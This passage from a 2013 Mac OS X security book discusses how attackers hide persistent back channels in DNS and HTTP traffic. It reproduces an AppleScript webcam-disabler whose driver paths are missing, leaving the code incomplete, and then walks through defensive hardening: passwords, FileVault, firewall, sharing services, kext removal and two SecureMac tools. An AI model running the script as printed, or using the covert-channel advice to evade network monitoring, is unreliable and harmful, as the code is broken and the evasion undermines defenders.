Mac OS X is a much more powerful operating system, and presents many more
opportunities for extended attacks, thus the need to apply the term APT.
As we mentioned earlier, services like Bonjour and protocols like AFP provide
targets of opportunity for gaining unauthorized access to Apple systems. In
addition, they’re good mediums for migrating your access across a network,
and maintaining your control of systems. In essence, it’s services like these that
help make APT possible under Mac OS X. And the concerns tend to revolve
around authentication issues, and the ease of bypassing those mechanisms.
The trick with APT is that the attackers have to maintain some sort of back
channel into the target network. That traffic is the key to success of failure,
depending on your perspective. As it stands now, too many network and secu-
rity administrators are ignoring this type of traffic because it’s difficult to detect
and track. For attackers, burying the command and control channels inside
protocols normally allowed unfettered (and unlogged) access to the network
means they get to bypass the majority of the security mechanisms in place.
Good examples of this are HTTP, HTTPS, or DNS traffic. There is normally
a large amount of this type of traffic traversing the network. And due to the
cost of logging and analyzing all these packets, and storing that data for an
extended period of time, most organizations don’t bother to track it.
Based solely on the number of packets seen on a normally network, the per-
centage of packets accounted for by DNS requests alone is up to 1.5%.1 That’s
just an average, and varies by organization and network. If you take that a step
further and consider the amount of traffic, based on the size of each packet,
your percentage drops to an even lower number; because DNS packets are rela-
tively small and the conversations tend to be brief.
History of Vulnerabilities in Apple Products 95
What does all this mean to an attacker (or a defender)? Well, if we’re using
HTTP as a channel, it’s probably allowed through the firewall, and all of our
traffic will be buried in with all the other Web traffic on our network. If we’re
using DNS as a back channel, our packets are likely overlooked because the
packets are so small, and there are so many DNS requests on a daily basis that
it makes it difficult to locate that “needle in the haystack.”
Since Apple products are based on BSD platform (as we discussed in Chapter 2),
there are a number services we can start, create, or inject into that allow us to
communicate via these protocols. And the access restrictions, paired with the
split-level kernel architecture created by Apple, allow an attacker to gain ele-
vated privileges that provide direct access to the running kernel and all services.
In short, if we can get in, we can stay there.
Apple Script
In 1993, Apple released one of the most useful tools created by Apple to aid in
the intercommunication and data exchange between applications. It was called
AppleScript, and as the operating system eventually evolved into it’s current
Darwin/BSD base, the scripting environment was retained because of its per-
ceived value to developers and users. AppleScript is designed to appear object
oriented in style, with very simple syntax.
Most of the actual functions within the scripting language are derived from
the functions of the applications that AppleScript interacts with, not from the
AppleScript itself. This means that each application loaded on to an Apple com-
puter could potentially open up the system to further compromise because of
the scripting allowances it brings with it. This is because each application that
is built with AppleScript capability can include call functions for the scripting
language that perform actions or access data at the same level of the user. If
extended privileges are required, beyond what the application has been given,
the operating system prompts the user for the proper extended credential pass-
word (root), and if successful, performs the action.
AppleScript was released with Mac OS 7, well before Apple took the platform
to an Intel base. It was created to support an application known as Hypercard,
If you’re interested in determining what type of traffic is traversing your network, it might be
worth a visit to your local network administrator. They’ll likely have the appropriate tools for mod-
eling your network traffic, and giving you a better handle on the percentage of Web traffic ver-
sus other traffic. Understanding this network traffic baseline is key for defenders of the network,
because it allows them to better identify when something unusual is occurring across the wire.
CHAPTER 5: Application and System Vulnerabilities
which was a cross between the Web we use today, and a stack of index cards
with information on them. The application didn’t survive, but the program-
ming language did, and was transitioned to Mac OS X.
In order to provide a clear, useful, and harmless example of AppleScript, we’ve
chosen to use the iSight disabler/enabler script, written by the smart folks at Since we’re paranoid to begin with, the script provides a useful
function, because we can disable the camera when we have no interest in using
it. Disabling the camera makes it more difficult (not impossible) to use the
Webcam. And as you’ll see in the snippet we’ve provided, the script is relatively
easy to understand and mimic:
-- Intel Mac iSight Disabler
-- Tested on OS X 10.7.0
-- Tested on 2011 13" MBP
-- Version 4.0 Lion Support
-- Credit to fdoc for Snow Leopard fix in v3.5
display dialog "Intel Mac iSight Disabler
brought to you by
Version 4.0
Support for Lion
Any applications currently using the iSight will continue to have
access until they are quit or restarted." buttons {"Enable iSight",
"Disable iSight"} with icon stop
set userChoice to button returned of result
set allDrivers to ""
tell application "Finder"
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver & " "
end if
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver & " "
History of Vulnerabilities in Apple Products 97
end if
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver & " "
end if
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver
end if
end tell
if userChoice = "Enable iSight" then
do shell script "/bin/chmod a+r " & allDrivers with
administrator privileges
else if userChoice = "Disable iSight" then
do shell script "/bin/chmod a-r " & allDrivers with
administrator privileges
end if
Code Snippet 5.1—iSight Disabler from
If you download and run this script, you’ll find that it provides the user with
two options, Disable iSight and Enable iSight. The actual choices are handled
at the end of the script, via the “userChoice” functions. The script works by
defining the full path to the driver files used to control the iSight Webcam.
It runs through the Finder application, which is installed by default in Mac OS
X. Once all the drivers are defined in the allDrivers variable, the script deter-
mines the userChoice, and changes the permissions on those driver files accord-
ingly. If the user has chosen to disable the iSight, the permissions are changed
to remove read access to the drivers. When the user enables the iSight again,
those drivers are returned to their original settings.
Someone with very little programming experience can read the code and
understand exactly what the script is doing. In addition, we can see, almost
The only change we’ve made to the code is to include the Web address of the site where you
can get this free script. Any other differences are strictly formatting changes due to publishing.
CHAPTER 5: Application and System Vulnerabilities
immediately, that the program is communicating with the Finder application
in Mac OS X to make these changes. That makes sense when we consider that
Finder is the file system GUI for MAC OS X.
To get started with writing your own scripts, you need to open the AppleScript
Editor, which resides in the Applications/Utilities folder. Figure 5.10 shows an
image of the application’s icon, and where it resides.
Every script has to being with a tell statement. In the example script, we’re
telling the Finder application. We start like this: tell application “Finder.” Now
we have to define what we’re going to tell the Finder application. Technically
speaking, we could write each line as a tell line, like this:
Tell application “Finder” to open home.
Tell application “Finder” to set driver to.
While this makes it very easy to read, it does dramatically increase the size
of the script. As long as we’re always talking to the same application, we can
streamline our code by creating a tell block, where each command is part of the
same tell to the same application. A tell block starts with the normal tell com-
mand, and ends with an end tell command. Looking at out example above, that
includes these lines of code:
tell application "Finder"
set driver to
FIGURE 5.10 AppleScript in Applications/Utilities
History of Vulnerabilities in Apple Products 99
if exists driver as POSIX file then
set allDrivers to allDrivers & driver & " "
end if
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver & " "
end if
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver & " "
end if
set driver to
if exists driver as POSIX file then
set allDrivers to allDrivers & driver
end if
end tell
The AppleScript language is a decent way to manipulate processes and applica-
tions within Mac OS X. For a hacker, this means you can take advantage of the
built in applications, or third party applications, to read information or modify
the behavior of system components. You have the ability to focus on the active
window, close or open windows, read information, access shell commands,
and even request administrator/root privileges to run those commands.
The topic of writing AppleScripts is much more extensive than we can cover
in this book, but it’s worthy of your time to do further research. There are a
number of good books on the topic, but I recommend “Learn AppleScript: The
Comprehensive Guide to Scripting and Automation on Mac OS X” by Hamish
Sandersen and Hanaan Rosenthal (May 2010). It’s relatively recent and, while
not a hacking book, does provide the needed foundation of the language.
Additionally, if you want another resource (or would rather not spend the money
on another book), there are multiple useful sites on the Internet that can provide
some guidance. There is a decent tutorial at the Website, located
CHAPTER 5: Application and System Vulnerabilities
at Be
sure to look at the bottom of each page for links to more in depth topics.
The goal of this chapter was to provide the reader with some insight into the
history of Apple based exploits, whether they’re within iOS or Mac OS X prod-
ucts. We’ve provided resources and guidance on where the operating system
might be more susceptible to compromise, and how we can utilize built-in
Apple resources, such as AppleScript, to manipulate processes and applications
within the operating environment.
Take the time to experiment, and see what you can do with Apple products.
The market share for Apple products is likely to continue growing for the fore-
seeable future, and so are the threats to those products. Learning to break those
products will also help you learn to defend those same products.
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
Defensive Applications
Introduction .............101
Configurations ........102
Passwords, Passphrases,
and Multi-Factor
Authentication ...............102
Account Access
Restriction ......................103
FileVault .........................106
Configuration .................108
Network Services ........... 111
Kernel Extension
Removal ...................114
Commercial Tools ...117
PrivacyScan by
SecureMac ......................117
MacScan by
SecureMac ......................124
Conclusion ...............135
Hacking doesn’t always need to be offensive in nature. At some point, you’re
likely to be in a place that puts your computer at risk. If you put your awesome
hacking superpowers to good use, and implement appropriate defensive points
on your system, you can stop an intruder, and potentially learn something new
along the way.
When we discuss “defensive” in this chapter, there are a couple of different areas
to be taken into account. The first area deals primarily with the configuration of
our Apple product. The second area centers on using defensive applications to
provide alerts or defend directly against outside attacks. Both of these are referred
to as “system hardening,” and the goal is to protect what’s important. It applies
to more than just Apple laptops, but that’s what we’re concerned with here.
“System hardening” is an important mini-journey that end users and adminis-
trators alike should embark upon, at least once. In most cases, system hardening
isn’t executed as extensively or appropriately as it should be. However, before
jumping in and getting our hands dirty, there are three concepts that need to
be understood prior to moving on.
Best practices dictate that the security controls implemented within a system
mitigate the risk AWAY from the critical data assets. That was a mouthful,
let’s take a step back and debug what was just said. It’s important to know
what’s truly important within each system and/or environment. Without
understanding what’s valuable, one cannot protect it properly. If your company
provides a Web hosting service, your service level agreement (SLA) with your
customers may demand 99.99% uptime. Without those information assets
being operational, business can’t be conducted.
So we need to understand “what we need” to protect, and we also need to grasp
the concept that “nothing will ever be completely secure.” There is no such
CHAPTER 6: Defensive Applications
thing as 100% secure. There will always be malicious unpublished code, and
so long as humans continue to program there will always be vulnerabilities. In
addition, as long as there are “users” on these computer systems, the systems
themselves are vulnerable.
Lastly, if we build on the fact that nothing will ever be completely secure, we can
begin to practice defense in depth. Using a password on a box will not make
it impregnable right? Use a good password, turn on the firewall, and disable
unnecessary services and you’ve begun implementing defense in depth… loosely.
For this chapter, we’ll cover the defensive configuration options first. This is where
we’ll cover authentication, network service configuration, and other issues within
the operating systems, such as patching. You’ll see a lot of screenshots here, to
help guide you along, just in case you don’t have much experience in this area.
The second half of the chapter, we’ll talk about some defensive applications
that can help protect our Mac laptop. There are dozens of decent products,
but we have limited space here. We’ll cover two applications from SecureMac.
They’ve been providing security applications for Apple laptops for more years
than people realize there was a threat to these systems, so their maturity in the
technology makes them a prime example for this chapter.
How many people do you know that have taken a laptop or computer straight
from the box it was shipped in, to their desktop, and on to the Internet?
Probably quite a few, right? In their honor, we’re going to start with the most
basic changes we’ll want to look into after we’ve unwrapped our new Apple
Computer. If you’re fairly technical, or you’ve already done these types of
things to your system, you’re welcome to skip this part of the chapter.
We start here because the following information helps lock down the most
blatant holes in our systems. Many of these are user level controls that help
restrict access to the system. Other changes we’ll make in this section will
help limit the network landscape we leave accessible. These changes are
recommended in a number of security guidelines and knowledge bases.
Passwords, Passphrases, and Multi-Factor
Before we get into restricting access to our computer, let’s talk quickly about
the importance of strong passwords. Passwords were created to help users
protect their accounts and their data. Without passwords, any user could login
to another system as long as they knew that person’s user name on the system.
Passwords were adequate protection back in the day.
Secure Configurations 103
But passwords are difficult to secure. If a person uses a dictionary word, or
something too simple, it can be cracked in short order. Weak passwords provide
quick pathways into a system. So what’s a poor, short term memory challenged
user to do?
There has been a lot of discussion over the last couple of years about the use
of passphrases, versus passwords. The debate started when agencies started
recommending strong passwords that consisted primarily of a string of
characters, numbers and special characters, in some random order. Humans are
programmed to remember strings like this, by default. So it introduced another
security concern because it caused users to write these passwords down.
Passphrases are a longer string of characters, consisting of multiple words. If the
user picks a phrase that makes sense to them, and is easy to remembers, but is
still complicated and lengthy enough to stump any attempts at password crack-
ing, we’re good. Let’s look at how a passphrase might compare to a password.
A normal user password is about eight characters long (some are even shorter),
and is built from letters and numbers. For example, Broncos98 is a normal
looking password that uses one capital letter, six lower case letters, and two
numbers. In theory, because it’s longer than eight characters, and it has three
different types of characters, it would be considered a decent password. But
password cracking software would have an easy time with this password.
Passphrases on the other hand take the idea of the password and multiple it
several times, to increase the complexity associated with cracking the password.
Let’s try to create a simple passphrase that would be easy for a normal user to
remember. Using the Broncos example above, we could create a passphrase of
We’ve just taken a theme from the old password and created a 17 character
passphrase that would be VERY difficult to crack. It includes four different
types of characters, and dramatically increases the time required to crack the
password. We could take this example even further by creating an even more
difficult passphrase: OurBroncosFamilyLives@5280!
Voila! We’ve just created an easy to remember passphrase of 27 characters that
would be extremely difficult to crack. Utilizing these types of passphrases can
strengthen the security of your computer systems, and still limit the pain on
the users.
Account Access Restriction
Let’s start by clicking on the Apple icon in the top left of your screen, and
clicking on System Preferences (as seen in Figure 6.1). Many of the changes
we’ll make initially will be made here.
CHAPTER 6: Defensive Applications
A new window will pop up with four separate tabs, General, Firevault, Firewall,
and Privacy. We’ll start with the General tab, because it’s the first tab, and it
provides the most generic security options (see Figure 6.2).
The first thing we want to ensure is that a password has been assigned to our
user account. You can also change your password on this screen. Additionally,
let’s ensure the system requires us to reenter our password after the screen has
been locked, or the system has gone to sleep. This helps ensure no one else can
just hop into our active session. If you have the inclination, you can actually
set a message to be displayed when the screen is locked. We leave that to you
to decide.
FIGURE 6.1 Click on System Preferences
There is a small lock icon in the bottom left of this new window. You’ll see this in many of the
configuration options windows. The idea here is that you need to unlock the ability to make
changes to the system. You can click on the lock, and enter the Administrator password, which
will then allow you to make changes to the system. You’ll know you can make changes when
the lock is represented as “open, versus closed.
Secure Configurations 105
The last option listed on this page allows us to disable the automatic login
functionality. Mac OS X was created as a user-friendly operation system, and
included the ability to just turn the computer on and be working. But disabling
the automatic login allows us to force a password be entered prior to accessing
the operating system. So we want to enable this.
In the bottom right hand corner of this screen, you will see an Advanced button.
This button allows us to make other changes to the security of the system that
are important. If you click on that icon, you’ll see something similar to the
image in Figure 6.3.
The first option allows us to set a time limit on the inactivity of the system.
For instance, if we activate this option, the computer could log a user out of
the operating system when it’s been idle for 60 min. If you’re one of those
folks that likes to spend long hours at the local coffee shop, you may want
to consider setting this for a short duration, to protect against unauthorized
access to your system. The time limit defined is up to you.
The second option will require an Administrator level password to make any
changes to preferences that are locked. The third option allows the operating
system to download certain software that keeps the system more secure.
FIGURE 6.2 Security and Privacy Preferences—General Tab
CHAPTER 6: Defensive Applications
The last option limits the ability to use an infrared remote with your laptop. If
you’re using an Apple TV in your home, this is a great setting to know about.
Failure to disable this means that every time you press a button on your Apple
remote, it will interact with your laptop simultaneously. It’s fairly annoying,
and could potentially do bad things to your system, in the wrong hands. This
Advanced tab is the same in all of the tabs within this configuration set. So
you’ll find it’s the same in Firewall as it is under General.
Moving on to the next tab in the Security and Privacy settings, we come to
the FileVault settings. FileVault is Apple’s solution at providing for encrypted
disk storage. While everyone agrees that encrypting any data that has value
to you, there is still a lot of debate on how best to accomplish this. Based on
research, we’ve found that the implementation of FileVault (especially full disk
encryption), is best done before you’ve worked with the laptop too much. This
is because of the number of applications often installed, the way the hard drive
ends up segmented, and issues with trying to implement FileVault on a system
that’s been used a lot. Your mileage may vary (see Figure 6.4).
FIGURE 6.3 General Tab—Advanced Settings
Secure Configurations 107
For the purposes of this book, we’re talking about FileVault in the scope of
Mac OS X 10.7 (Lion). This is an important distinction because the use of the
application has changed as OS X has evolved. The version of FileVault installed
with Lion is FileVault 2, but this is strictly a marketing label used to distinguish
between the versions of the software.
Despite this, the version of the application is important to understand. Before
FileVault 2, you were limited to encrypting only particular folders on the hard
FIGURE 6.4 FileVault Tab
Before you attempt to implement FileVault, PLEASE ensure you back up your computer using
the Time Machine application, inside your Applications folder. Any number of things could go
wrong, and the ability to restore from a full backup of your system is a GREAT way to recover
for possible mistakes or other issues. If you don’t perform a backup first, you’re gambling with
your data. Don’t make that mistake.
In addition, the installation of FileVault requires the hard drive to still be in the original drive
configuration. This means the recovery partition is still intact. If you’ve made ANY change
to the drive configuration, you may need to backup your data, erase the drive, and reinstall
Lion from scratch. This is important to know because you could lose your data, or find yourself
unable to boot from the hard drive.
CHAPTER 6: Defensive Applications
drive. With the newest version, you have the ability to encrypt the entire disk,
called Full Disk encryption. Unfortunately, with the latest version, you can’t
have the both of best worlds. This means you can’t get Full Disk Encryption
and encrypt user folders or home directories at the same time.
Instead of covering the step-by-step process in this chapter, we recommend
an article written by Glenn Fleishman, of You can read his
tutorial at
filevault_2_in_lion.html. Just be sure to read the article, and all related
warnings, prior to beginning the process.
Firewall Configuration
Firewalls are the basic network protection for computers. The idea is to restrict
network traffic (inbound or outbound, depending on the product), to ensure
we’re not inadvertently allowing malicious traffic to come in, or originate,
from our computer. Apple has provided a built in option for firewalling your
computer from the rest of the network.
The firewall options are in the third tab of the Security and Privacy window,
as seen in Figure 6.5. The most basic option is to simply enable the firewall.
FIGURE 6.5 Turn On Firewall
Secure Configurations 109
We want to enable this for sure. Having the firewall enabled is a basic security
measure, and there is very rarely a good reason to have it turned off.
Under the button to “Turn On Firewall,” we see another button that allows
us to modify the firewall options. Clicking on this button brings up the extra
window shown in Figure 6.6. From here, we have more discrete control over
what applications are going to be allowed to communicate across the network.
The first option you’ll notice with the new window is the ability to block
all incoming connections, aside from those considered mandatory to
communicate on a network. These include DHCP, Bonjour, and IPSec. DHCP
allows your computer to obtain a network address so it can communicate
FIGURE 6.6 Advanced Firewall Rules
Multicast DNS is similar to the implementation of the Zero Configuration methods installed in
Microsoft Windows, and is part of Apple’s Bonjour services. The idea is that a computer, when
plugged into a network, will automatically announce itself to all the other computers on the
network. Have you ever opened up iTunes or Finder and noticed all the other computers listed
on the network?
CHAPTER 6: Defensive Applications
on network. Bonjour is an Apple specific protocol that allows a number of
services to operates, such as multicast DNS (mDNS), which broadcasts that
your computer is on a network, in case you want to share information with
other computers.
The list of applications defines specific applications and whether they’re
allowed to communicate on the network, or not. For example, the
chat application is allowed to accept incoming connections because we’ve used
the application in the past. If we want to change this for some reason, and
block all incoming connections to this application, all we need to do is click
on those arrows to the right, and change the selection to “Block incoming
The next selection allows or denies network access to software that has been
digitally signed by a valid certificate authority (CA). These applications are
often considered to be trustworthy, but caution should still be taken since
there are publicized methods for creating a certificate that will be accepted as
a legitimate CA.
The final option enables stealth mode on your computer, which blocks all
attempts to touch the computer across a network without having an authorized
connection first. This type of restriction is great for avoiding some types of
network scans that would attempt to find your computer and determine what
network ports are accessible. But you should also be aware that in many cases,
enabling stealth mode might interfere with some legitimate applications, such
as network games.
There are third party firewall applications that you might decide work better
for your circumstances. For example, while the firewall may help you control
traffic, applications like Little Snitch (Figure 6.7) will help you determine
when allowed applications are sending information out that you might want
to limit. The application is easy to install, and easy to use. You can download it
FIGURE 6.7 Installation Screen for Little Snitch 2.5.3
Secure Configurations 111
This isn’t the only application that helps in this respect, so look around and
see what you can find. Mac developers are some of the most clever and creative
developers in the world. There are likely dozens of solutions to issues you never
knew you had. In particular, take a look at Hands Off! and Radio Silence, as well.
They both provide great firewall and anonymity capabilities, including some
functions that could protect your system against harmful botnets, like Flashback.
Network Services
Now that we’ve locked down the user aspects of the system, and turned on
our firewall, let’s start looking at what network services we have available.
Network services were originally created to provide access to that system from
other remote network resources. For example, a service like Secure Shell (SSH)
provides access directly into the computer. But other services may be providing
methods into our systems that introduce security concerns.
One of the biggest concerns regarding network services are the ones that start
when the user doesn’t know, or has very little understanding they’re there. For
example, some computer games allow for group competition across a network
connection. Web servers are sometimes installed with third party applications.
Databases are another type of application that can get started without the
knowledge of the user. Let’s look at a great way to determine what’s really
listening on your network ports.
From a BSD or Linux command line, we can use the netstat command to get a
listing of all connections to our system. This will include any connections we
have to the outside world, along with network ports listening for connections
from the outside world. The image in Figure 6.8 shows the command, along
with a truncated and sanitized output from the command.
The strings of numbers that have been sanitized show the network address of
the host, followed by a colon and the port number the host is listening on at the
time. Here we see the host is listening to ports 53, 22, and 443. This appears to
tell us that the Secure Shell service is listening for remote connections on port 22,
DNS is listening for requests on port 53, and Web traffic comes into the system
on port 443. The lines containing the address indicate ports that are
listening for connections on the localhost, not necessarily from the network.
FIGURE 6.8 Truncated and Sanitized Output of netstat –an
CHAPTER 6: Defensive Applications
Many of the services you might have running are including in the sharing
options, which are accessible from the System Preferences (as we saw earlier).
If we go into the System Preferences as we did earlier, you’ll see an icon named
Sharing. Click on that icon and you’ll see a window appear that is similar to
the one in Figure 6.9.
These are the default services that can be easily enabled or disabled within
the Mac OS X. We say “easily” because other services can be added later that
must be accessed and managed through other means. A good example is the
Nessus vulnerability scanner, which, when loaded, starts it’s own service that’s
only accessible from the command line. It leaves a Web service open on a
non-standard port. We’ll cover more about this in a bit, but let’s get back to the
standard Sharing applications.
As you can see from Figure 6.9, the system has the built-in ability to allow
file sharing, printer sharing, Web sharing, remote login, and more. These are
important functions to understand because when enabled they can allow you
to share information with trusted colleagues or family members, but they
could also present a security concern if they’re open or misconfigured, without
your knowledge.
FIGURE 6.9 Sharing Services Under MAC OS X
Secure Configurations 113
From the screen capture you’ll notice immediately that all the sharing options
are disabled. Disabling file sharing (unchecked) means we’re not allowing
remote computers to take files from our system. The screen sharing option, if
enabled, would turn on a built-in VNC server (Virtual Network Computing)
that answers to Web requests on a particular port. If you enable this, remote
users can use a Web browser to view your desktop screen. We’ve provided an
example of this option in Figure 6.10.
Remote login works similarly, except it opens port 22, and must be accessed
via a SSH client. There are command line and graphical SSH clients, but Mac
OS X comes with a command line application by default. This service allows
direct access to the operating system, and access may not be noticed by the user
on the system.
While this is definitely considered a safer option to the use of clear text
alternatives, such as Telnet and File Transfer Protocol (FTP), it’s still a means
of access to your computer. Ensure you know it’s enabled, and what users have
access. Figure 6.11 shows you the extra information for this “sharing” service.
Regardless, if you want a more secure method for moving between computers,
or transferring files, this is the safer alternative under Mac OS X.
There are plenty of other services here you can review on your own, so I’m
not boring you to death. In particular, look at the Web Sharing and Remote
Management options. Remember, Mac OS X is based on a very flexible and
very powerful UNIX like operating system. You can empower yourself and your
co-workers to work more efficiently, but take the time to do it correctly so you
don’t open yourself up to compromise.
FIGURE 6.10 Options for Screen Sharing in MAC OS X
CHAPTER 6: Defensive Applications
In order for specific pieces of hardware within your Mac computer to work
as designed, the kernel needs to be able to pull in the appropriate drivers.
Drivers dictate how the kernel and device will communicate back and forth.
Without this information, the device won’t function properly. And while it
may initially seem counterproductive, there are legitimate business reasons
for disabling some devices, and there are solid security reasons to disable
devices, as well.
Some of the devices you might be familiar with that are loaded via a kernel
extension, and may be worthy of further examination, are:
n Airport.
n Bluetooth Capability.
n Infrared Sensor.
n Microphone.
n iSight Camera(s).
n USB Drive Support.
n Firewire Capability.
In order to access and/or remove the kernel extensions for a particular device,
we’ll first need to open a command line. Apple did not include the direct ability
to move or rename the kernel devices from its GUI. The kernel extensions for
the system are located in /System/Library/Extensions, so let’s open up our
command prompt in Figure 6.12, change to that directory, and take a peak at
what kernel extensions are in there.
FIGURE 6.11 SSH Configuration Options Under Mac OS X
Kernel Extension Removal 115
Wow! That’s a lot of kernel extensions. If you’re following along at home, you
should have seen roughly 200 .kext files stream by on your screen. The list
we’ve shown in Figure 6.12 is only a small snippet of the file list. Each of these
could be removed or relocated somewhere safe if we wanted to disable that
particular device, but we need to be sure we know exactly what we’re doing
here, or we may find ourselves with no access to the computer.
So let’s revisit the earlier list of devices we might want to consider disabling.
Removing the .kext file entirely is normally a dangerous idea. What if we want
to re-enable the device later? Moving that file to offline storage, however, might
present a valid solution if we really need to turn something off.
If we’re going to take our computer system into a secure or sensitive area, it
might make sense to disable our microphone, Bluetooth, and iSight camera.
FIGURE 6.12 Truncated Listing of .kext Files
CHAPTER 6: Defensive Applications
These items are often considered taboo in environments where we need to
ensure the confidentiality of information.
Each of the .kext files is actually a directory, containing a Contents directory.
That Contents directory has the actual extension files in it. Let’s poke our
heads into one of the two Bluetooth extension directories to see what’s in
We’ve chosen to go into the IOBluetoothFamily.kext extension directory.
This should give you a good idea of how these directories are organized. In
Figure 6.13, we show the commands required to change into the Contents
directory, and then the Resources subdirectory; where we’ve listed the files. If
we remove or move the entire .kext parent directory for this extension, these
driver files will no longer be available for loading during boot up or use.
Once you remove the .kext of your choosing, you’ll need to touch the extension
tree and reboot the system. The touch command changes the access date on
the tree, letting the operating system know there may have been changes. The
operating system will reload the tree upon reboot, and since the extensions
in question have already been moved or removed, they won’t be loaded into
the kernel. Put more simply, the device that depends on that extension won’t
operate anymore.
To touch the extension tree, use the following command from the command
sudo touch /System/Library/Extensions
You’ll likely be prompted for your administrative password. Enter the password
if prompted, and then reboot the system. When you’re back into the computer
again, you should find the device no longer functions. Here’s a list of important
devices you might be interested in considering, along with their associated
.kext files (see Table 6.1).
FIGURE 6.13 The IOBluetoothFamily.kext Extension Directory Tree
Examining Commercial Tools 117
No chapter on defensive applications would be complete without an in-depth
discussion on, well, defensive applications. Bear in mind as you read through
this chapter, there are hundreds of possibilities in the this arena. The examples
we provide here are just the tools we have at hand, are easy to use, have a
history of success, and have been provided to us with a useable license for
testing purposes.
What you end up choosing to use is entirely up to you, but always try to
remember that tools are here to provide a specific function. Having too many
tools is just as bad as having no tools at your disposal at all. Try to limit your tool
selections to only those you really need, and don’t duplicate any functionality.
PrivacyScan by SecureMac
We’ll start with PrivacyScan, by SecureMac. SecureMac has been around for
a very long time, and was arguably the first company to begin offering Mac
users the option to secure their systems. They were providing these services
well before Mac computers were thought to have any notable vulnerabilities.
Nicholas Raba, the CEO, and his developers, began by creating a product that
would scan the system for potentially questionable content. This included Web
browser cookies that would track users’ browsing on the Web.
PrivacyScan is a direct result of that work, and still provides solid functionality
for users. What makes it really cool is that, although you can delete the files
yourself, PrivacyScan will overwrite the files direct, and ensure secure deletion.
In Figure 6.14 we show the initial Setup Assistant for the application. You can
download the application from the AppStore by searching for PrivacyScan.
Table 6.1 Example Kext Files for Removal
Hardware Element Kext File to Remove
Airport IO80211Family.kext
Bluetooth IOBluetoothFamily.kext
IR Sensor AppleIRController.kext
Microphone AppleUSBAudio.kext
iSight Apple_iSight.kext
USB Drive Support IOUSBMassStorageClass.kext
Firewire Support IOFireWireSerialBusProtocolTransport.
CHAPTER 6: Defensive Applications
You install PrivacyScan by clicking on Next at the Setup Assistant window.
This allows us to choose the type of cleaning we’d like to start with, once the
application is installed and operating. We can change these settings later, if we
change our mind, in the application’s Preferences.
From Figure 6.15, we see that we have two options for cleaning the questionable
files from our system. The first is simply “Clean Threats,” which just deletes the
files from the hard drive. The second option is for the more paranoid users
among us, and is referred to as “Shred Threats.” Shredding the threats severely
reduces the possibility that the files in question can be recovered, but the time
required to clean the system will be extended significantly.
For this example, we’re going to choose “Clean Threats,” and click on the Next
button to continue. Again, we can change this selection once the software has
been installed.
In the interest of keeping the application simple to use, SecureMac has included
the ability to display helpful tips while using the application. This is especially
useful for new users looking to better understand how the application works,
and for hints on how to tweak performance.
If you’re the kind of person who likes to see these tips, then select the box for
“Display Tips.” And as you can see in Figure 6.16, you also have the option
to make the application more entertaining to use, through the selection of
FIGURE 6.14 SecureMac’s PrivacyScan Setup Assistant
Examining Commercial Tools 119
FIGURE 6.15 PrivacyScan Setup: File Cleaning Style
FIGURE 6.16 PrivacyScan Setup: Program Settings
CHAPTER 6: Defensive Applications
sounds and animations. You should note, however, that the use of animations
and sound effects could increase the time required to scan, simply through it’s
impact on the performance of the system itself.
As you’re already aware, Mac OS X allows users to move around within the
file systems and applications through it’s own Finder application. PrivacyScan
allows us to extend our “cleaning” into the Finder, and remove any details of
our activity. These settings are shown in Figure 6.17. Determine how private
you’d like the information in Finder to be, and click Next to continue.
One of the biggest resources for privacy information on any computer is within
the Web browser. And it’s not unusual to see multiple Web browsers installed
on a single computer. The application now walks us through the setup for
scanning our Web browsers.
In Figure 6.18, we see the possible configuration settings for cleaning the
Firefox Web browser. Most of these values should be familiar to users of the
Web. You have the ability to clean your browse history, cookies, cached Web
pages, form values, and even your recent searches.
The application continues through the configuration of other applications
related to the Firefox Web browser, such as the Quicktime player, the Preview
application, and Flash. We see an example of this in Figure 6.19, were we can
FIGURE 6.17 PrivacyScan: Finder Settings
Examining Commercial Tools 121
FIGURE 6.18 PrivacyScan Setup: Firefox Configuration
FIGURE 6.19 PrivacyScan Setup: Flash Cookies
CHAPTER 6: Defensive Applications
choose our settings for Flash. Finally, we step through a similar configuration
of the Safari browser, click Next, and end up at the Setup Complete! screen, as
seen in Figure 6.20.
The actual use of the PrivacyScan application is easy and intuitive. A window
pops up, like the one in Figure 6.21, that identifies the applications discovered
on your computer. Each of these are tools you just configured. The Play button
on the bottom right corner of the screen will start the scan of your system.
At this point, if you have any applications open that PrivacyScan will be
cleaning, you’ll be prompted to close those applications before continuing. At
this point, a new screen will pop up showing you what privacy threats exist on
your system, as seen in Figure 6.22. There is a small trashcan in the bottom left
corner of the window that will begin the removal of these items. If any of these
items are things you’d prefer to keep on your system, simply uncheck the item
BEFORE clicking on the trashcan icon.
Now the application starts the process of removing the privacy violations
on the system. If you’re using a normal spinning drive, you’ll notice the
computer starting to make noise at this point. If you’re using a solid state
drive (SSD), you’re not likely to hear much, unless the system fan kicks on.
Figure 6.23 shows the application in cleaning mode, with the animation
FIGURE 6.20 PrivacyScan Setup Complete!
Examining Commercial Tools 123
Cleaning doesn’t take terribly long, and can save you a ton of disk space.
For example, as seen in Figure 6.24, we’ve freed up 647 MB of disk space by
running this scan. As an added bonus, we’re more secure. The application even
lets you brag about this amazing feat of security daring, through the use of a
Twitter link.
FIGURE 6.21 PrivacyScan First Time Use
FIGURE 6.22 PrivacyScan Results and Cleaning
CHAPTER 6: Defensive Applications
MacScan by SecureMac
Unlike PrivacyScan, MacScan is not yet available on Apple’s AppStore. In
order to download this application, you’ll need to visit their Website at http:// There is a free Trial download, if you’re
interested in testing the tool out.
MacScan includes some of the same functionality as PrivacyScan, but extends
the protection it provides for computers into the realm of malware. The real
FIGURE 6.23 Cleaning Out the Garbage
FIGURE 6.24 Cleaning Successful
Examining Commercial Tools 125
difference on the privacy front is that MacScan detects and removes over
10k blacklisted cookies without removing any of your private password or
login information. The scans are targeted toward these items, as well as the
removal of normal Web clutter that eats of disk space and slows down the
But MacScan also detects, identifies, and removes unwanted spyware from your
computer. When you visit a variety of Websites with a Web browser, those sites
can install cookies that track your movements on the Web. And many so called
“free” applications for your computer will also install spyware. By knowing
what Websites you’re visiting, what links you’re clicking on, and your buying
habits, sites can better target advertising or offers toward you, as a consumer.
Even beyond this, the application will detect and remove other malware, such
